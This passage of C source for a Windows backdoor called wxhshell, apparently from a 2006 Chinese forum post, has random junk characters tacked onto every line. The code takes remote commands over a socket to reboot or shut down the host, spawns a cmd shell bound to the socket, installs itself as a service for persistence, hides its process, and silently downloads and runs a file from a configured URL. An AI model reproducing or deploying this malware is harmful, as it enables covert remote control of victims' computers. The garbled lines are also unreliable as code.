  else Qo !/]\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ckXJ9>  
  } V=pg9KR!T  
  else { sD,[,6(  
xD}ha  
    switch(cmd[0]) { 2},|RQETy  
  dF2 &{D"J  
  // 帮助 ef\Pu\'U  
  case '?': { -0 [^w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]>NP?S )R  
    break; \dAh^BK1(  
  } )&"l3*x  
  // 安装 K<O1PrC  
  case 'i': { U5; D'G  
    if(Install()) OTA@4~{C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2jTP (b2b  
    else ]VifDFL}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }|rnyYA  
    break; hKq#i8py  
    } @'.(62v  
  // 卸载 M^\#(0^2@  
  case 'r': { Vd2bG4*=  
    if(Uninstall()) fZ2>%IxG}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P;D)5yP092  
    else }Z MbTsm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~7Ey9wRkD  
    break; aVI/x5p~  
    } zPp?D_t  
  // 显示 wxhshell 所在路径 #>+O=YO  
  case 'p': { - Dm/7Sxd`  
    char svExeFile[MAX_PATH]; 7q>WO  
    strcpy(svExeFile,"\n\r"); HhN;&67~Z  
      strcat(svExeFile,ExeFile); .'md `@t  
        send(wsh,svExeFile,strlen(svExeFile),0); x:W nF62  
    break; kw8?:: <  
    } 6b9 oSY-8  
  // 重启 `+[e]dH  
  case 'b': { 58"Cn ||tF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]de'v  
    if(Boot(REBOOT)) #<V/lPz+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c <8s \2  
    else { xEN""*Q  
    closesocket(wsh); &ah!g!o3  
    ExitThread(0); ;/$=!9^sZ  
    } UD|Qa  
    break; 6/ir("LK  
    } /3F4t V  
  // 关机 Az29?|e  
  case 'd': { 5?+ECxPt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /; ;_l2t  
    if(Boot(SHUTDOWN)) h:iK;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hnM?wn  
    else { XK[cbVu  
    closesocket(wsh); zKr\S |yE  
    ExitThread(0); Hi$J@xU  
    } T/DKT1P-  
    break; 5mwtlC':l?  
    } :kUZNw'Bi  
  // 获取shell vtyk\e)   
  case 's': { iUl5yq  
    CmdShell(wsh); .4c*  _$  
    closesocket(wsh); YPQ&hEu0  
    ExitThread(0); LeBuPR$  
    break; 413,O~^  
  } V!#+Ti/w4  
  // 退出 )UA$."~O  
  case 'x': { 1|)l6#hOL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %|L+~=  
    CloseIt(wsh); B#RwW,  
    break; j(4BMk  
    } " N)dle,  
  // 离开 *oAv:8"iY  
  case 'q': { 0 1U/{D6D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^&oa\7<'  
    closesocket(wsh); 5gnNgt~  
    WSACleanup(); ]J;pUH+u  
    exit(1); Z?k4Kb  
    break; H!Gsu$C  
        } +uMOT#KjR  
  } p=m)lR9  
  } %n-:mSus  
]-d:wEj  
  // 提示信息 UR|UGldt_T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %~ uMa  
} n82N@z<8]  
  } 8Fy$'Zx'  
8&g|iG  
  return; T 9Jv  
} mM.-MIp  
%Q:i6 ~  
// shell模块句柄 X;Tayb  
int CmdShell(SOCKET sock) o7"2"( =>  
{ mJT<  
STARTUPINFO si; ?bwF$Ku  
ZeroMemory(&si,sizeof(si)); O,(p><k$/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?;!d5Xuu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UELni,$  
PROCESS_INFORMATION ProcessInfo;  nN!/  
char cmdline[]="cmd"; Kbjt  CI7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CR*R'KX D%  
  return 0; EgO=7?(pW  
} Hn"xn79nc  
g_?:G$1H  
// 自身启动模式 @+LkGrDP  
int StartFromService(void) qMT7g LB'1  
{ RD_IGV   
typedef struct  B9IqX  
{ ~B0L7}d  
  DWORD ExitStatus; iXN"M` nhm  
  DWORD PebBaseAddress; Lc ,te1  
  DWORD AffinityMask; S-{3'D[Nj  
  DWORD BasePriority; F3*]3,&L  
  ULONG UniqueProcessId; Q+(}nz4  
  ULONG InheritedFromUniqueProcessId; 8&FnXhZg4  
}   PROCESS_BASIC_INFORMATION; "Ka2jw,  
X]6Hgz66  
PROCNTQSIP NtQueryInformationProcess; ?3bUE\p  
S2nF13u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sM)qzO2wh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >SO !{  
C'x?riJ/  
  HANDLE             hProcess; ,c#IxB/0  
  PROCESS_BASIC_INFORMATION pbi; T_ ifDQX;  
icW?a9b&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^c?2n  
  if(NULL == hInst ) return 0; w'[lIEP 2$  
]$[J_f*x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UN{_f)E?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;O=tSEe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p9]008C89  
9Z}Y2:l'  
  if (!NtQueryInformationProcess) return 0; .kWMr^ g  
i=$##  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \tf \fa  
  if(!hProcess) return 0; &oJ=   
KKm &~^c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wYnsd7@I  
4$Oakl*l  
  CloseHandle(hProcess); 69{^Vfd;Y  
1U[8OM{$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nb}*IExd  
if(hProcess==NULL) return 0; +*"u(7AV  
.6Jo1$+  
HMODULE hMod; V_pWf5F  
char procName[255]; P,y*H_@k  
unsigned long cbNeeded; UJ-IK|P.#  
(jYHaTL6Y'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S;#S3?G  
ab ?   
  CloseHandle(hProcess); Oga/  
{fXD@lhi  
if(strstr(procName,"services")) return 1; // 以服务启动 *nUD6(@g  
_l$V|  
  return 0; // 注册表启动 le%&r  
} r7w1~z  
n}?XFx!%  
// 主模块 wi'CBfr'z  
int StartWxhshell(LPSTR lpCmdLine) \T)2J|mW  
{ G+Ft2/+\  
  SOCKET wsl; A:$Qt%c  
BOOL val=TRUE; 5Ug.J{d  
  int port=0; 5~&9/ ALk5  
  struct sockaddr_in door; X yi[z tN  
 JvFd2@  
  if(wscfg.ws_autoins) Install(); LQ T^1|nq  
XB  
port=atoi(lpCmdLine); @~pIyy\_  
>Micc   
if(port<=0) port=wscfg.ws_port; QkbXm[K.Z  
uan%j]|q%  
  WSADATA data; r}k2n s9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &,B\ig1Jf  
-#Xo^-&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yPG,+uQ$.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wZ7Opm<nt  
  door.sin_family = AF_INET; _U}pdzX?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A$gP: 1&m  
  door.sin_port = htons(port); Rlc$2y@pU  
6Y4sv5G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $10"lM[  
closesocket(wsl); /VFh3n>I2  
return 1; o^P/ -&T  
} ZmSe>}B=  
0mcZe5RS  
  if(listen(wsl,2) == INVALID_SOCKET) { /NvHM$5O%  
closesocket(wsl); X|!Vt O  
return 1; $ M?VJ\8  
} (tQ#('(w  
  Wxhshell(wsl); "G. L)oD  
  WSACleanup(); 9[yW&t;#  
$yG>=GN  
return 0; s;!TB6b@  
;Fw{p{7<  
} r8.R?5F@  
U .?N  
// 以NT服务方式启动 MrXmX[1-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T,z 7U2O  
{ 3[mVPV  
DWORD   status = 0; .Jk[thyU  
  DWORD   specificError = 0xfffffff; nf#;]FijB  
_a?c,<A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \09m ?;^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RsnK B /  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8T ?=_|  
  serviceStatus.dwWin32ExitCode     = 0; `[) awP  
  serviceStatus.dwServiceSpecificExitCode = 0; a2J01B  
  serviceStatus.dwCheckPoint       = 0; ZDHm@,d  
  serviceStatus.dwWaitHint       = 0; NP }b   
$tKz|H)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~mAv)JK  
  if (hServiceStatusHandle==0) return; vjNP  
jz CA2N%  
status = GetLastError(); 4%k{vo5i  
  if (status!=NO_ERROR) }N @8zB~X  
{ )"W__U0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zfS0M  
    serviceStatus.dwCheckPoint       = 0; N]yh8"7X  
    serviceStatus.dwWaitHint       = 0; 44e:K5;]7  
    serviceStatus.dwWin32ExitCode     = status; &y\7pAT\  
    serviceStatus.dwServiceSpecificExitCode = specificError; dM n0nc+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9j'(T:Zs  
    return; D(bQFRBY6"  
  } B?bdHO:E~  
:SBB3G)|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [wp(s2=  
  serviceStatus.dwCheckPoint       = 0; mdzUL d5J  
  serviceStatus.dwWaitHint       = 0; W(~7e?fO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C/34K(  
} o:oQF[TcFO  
SSCyq#dl$  
// 处理NT服务事件,比如:启动、停止 c, IAz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @\ udaZc  
{ X*'i1)_h  
switch(fdwControl) 10?+6*d  
{ Whd.AaD\  
case SERVICE_CONTROL_STOP: 4MM /i}  
  serviceStatus.dwWin32ExitCode = 0; =r1-M.*a.M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3MqyHOOv  
  serviceStatus.dwCheckPoint   = 0; mbSG  
  serviceStatus.dwWaitHint     = 0; '!\t!@I$  
  { \0)v5u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r Uau? ?  
  } x:wv#Wh:l7  
  return; ?$v*_*:2h  
case SERVICE_CONTROL_PAUSE: 5/w4[d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $U*b;'o  
  break; (^!$m7  
case SERVICE_CONTROL_CONTINUE: jWpm"C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vt4KG+zm  
  break; G;jX@XqZ  
case SERVICE_CONTROL_INTERROGATE: ;T-`~  
  break; i#4}xvi  
}; l%\p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  $I*<gn9  
} w20)~&LE-  
1n3XB+*  
// 标准应用程序主函数 g"}j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a_z1S Z2[  
{ V*d@@%u**  
nO#a|~-))  
// 获取操作系统版本 y=HM]EH>  
OsIsNt=GetOsVer(); %]"eN{Uvn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n{*A<-vL  
{JGXdp:SB  
  // 从命令行安装 jjJvyZi~J  
  if(strpbrk(lpCmdLine,"iI")) Install(); UlNx5l+k  
}.L:(z^L,Y  
  // 下载执行文件 m#Y[EPF=|  
if(wscfg.ws_downexe) { %4$J.6M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L9Z\|L5  
  WinExec(wscfg.ws_filenam,SW_HIDE); bJ!(co6t  
} c3aBPig\D  
H`T8ydNXa  
if(!OsIsNt) { qh~$AJ9sB  
// 如果时win9x,隐藏进程并且设置为注册表启动 +o3 ZQ9  
HideProc(); As>-9p>v  
StartWxhshell(lpCmdLine); r"4&.&6  
} MkK6.qV\z  
else >1*Dg?/=S  
  if(StartFromService()) s=8$h:^9>  
  // 以服务方式启动 {3@"}Eh  
  StartServiceCtrlDispatcher(DispatchTable); KFhnv`a.0  
else j=kz^o~mH  
  // 普通方式启动 Nu,t,&B   
  StartWxhshell(lpCmdLine); APUpqY  
&iTTal.6  
return 0; MhDPf]` Gg  
}
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只看该作者 1 发表于: 2006-10-10
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